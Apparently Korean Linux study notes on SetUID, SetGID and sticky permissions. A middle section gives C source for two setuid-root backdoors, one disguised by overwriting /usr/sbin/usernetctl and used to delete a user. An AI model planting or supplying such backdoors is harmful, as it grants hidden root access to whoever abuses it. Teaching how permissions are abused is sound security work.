● 특수권한
SetUID(4000) --S------ : 프로그램을 실행(x) 할 경우
실행계정을 프로그램의 소유자 계정으로 일시변경
SetGID(2000) -----S--- : 프로그램을 실행(x) 할 경우
실행계정을 프로그램의 소유그룹의 계정으로 일시변경
Sticky(1000) --------T : 쓰기(w) 권한을 가진 디렉토리에 사용하면
적용된 디렉토리의 삭제는 소유자만 가능하도록 만들어 주는 기능
※ 특수권한이 x권한과 중복된 경우 소문자로 표시
ex) ]# whereis passwd
passwd: /usr/bin/passwd /etc/passwd /usr/share/man/man1/passwd.1.gz /usr/share/man/man5/passwd.5.gz
※ passwd 명령 : 계정의 비밀번호를 변경하는 명령 => /etc/passwd 파일의 내용을 수정하는 명령
=> 관리자 및 일반계정 모두 사용하는 명령
]# ls -l /usr/bin/passwd
-rwsr-xr-x 1 root root 22960 7월 17 2006 /usr/bin/passwd
(4755)
=> 모든 계정이 passwd 명령을 실행 할 수 있다.
=> SetUID 권한에 의해 명령을 실행하는 계정은 일시적으로 소유자계정(root)로 변경
]# ls -l /etc/passwd => 계정 정보를 저장하고 있는 파일
-rw-r--r-- 1 root root 1954 10월 3 12:13 /etc/passwd
(644)
=> /etc/passwd 파일은 root 계정만 변경 가능하다.
- setUID 권한을 가지고 있는 파일은 반드시 관리자가 숙지하지고 있어야 된다.
=> SetUID 권한은 보안에 위험하므로 부여하지 않는 것 좋다.
]# find / -type f -perm +4000 -exec ls -l {} \; > setuid.txt
=> SetUID 권한을 가지고 있는 파일을 setuid.txt에 저장
※ 간단한 backdoor 프로그램 작성
]# vi backdoor.c
#include <stdio.h>
int main() {
setuid(0);
setgid(0);
system("/bin/bash");
return 0;
}
]# gcc -o backdoor backdoor.c => 컴파일 후 실행파일을 생성
]# chmod 4755 backdoor => 파일 소유자 : root
=> kim 계정 로그인
]$ ./backdoor
]# source /etc/profile => 관리자 환경 적용
※ backdoor 프로그램을 숨겨서 실행하는 방법
]# vi backdoor2.c
#include <stdio.h>
int main(int argc,char *argv[]) {
char exec[100];
setuid(0);
setgid(0);
sprintf(exec,"%s 2>/dev/null",argv[1]);
system(exec);
printf("usage: usernetctl <interface-config> <up|down|report>\n");
}
]# gcc -o backdoor2 backdoor2.c
]# chmod 4755 backdoor2
]# mv backdoor2 /usr/sbin/usernetctl => Overwrite
=> kim 계정 로그인
]$ /usr/sbin/usernetctl "/usr/sbin/userdel -r kkk"
ex) sticky 권한을 적용한 공유디렉토리 생성
관리자 ]# mkdir /home/share
]# chmod 777 /home/share
lee 계정 ]$ cd /home/share
]$ mkdir leeData
park 계정 ]$ cd /home/share
]$ rm -rf leeData => 삭제 가능
관리자 ]# chmod 1777 /home/share
lee 계정 ]$ cd /home/share
]$ mkdir leeData
park 계정 ]$ cd /home/share
]$ rm -rf leeData => sticky 권한에 의해 삭제 불가능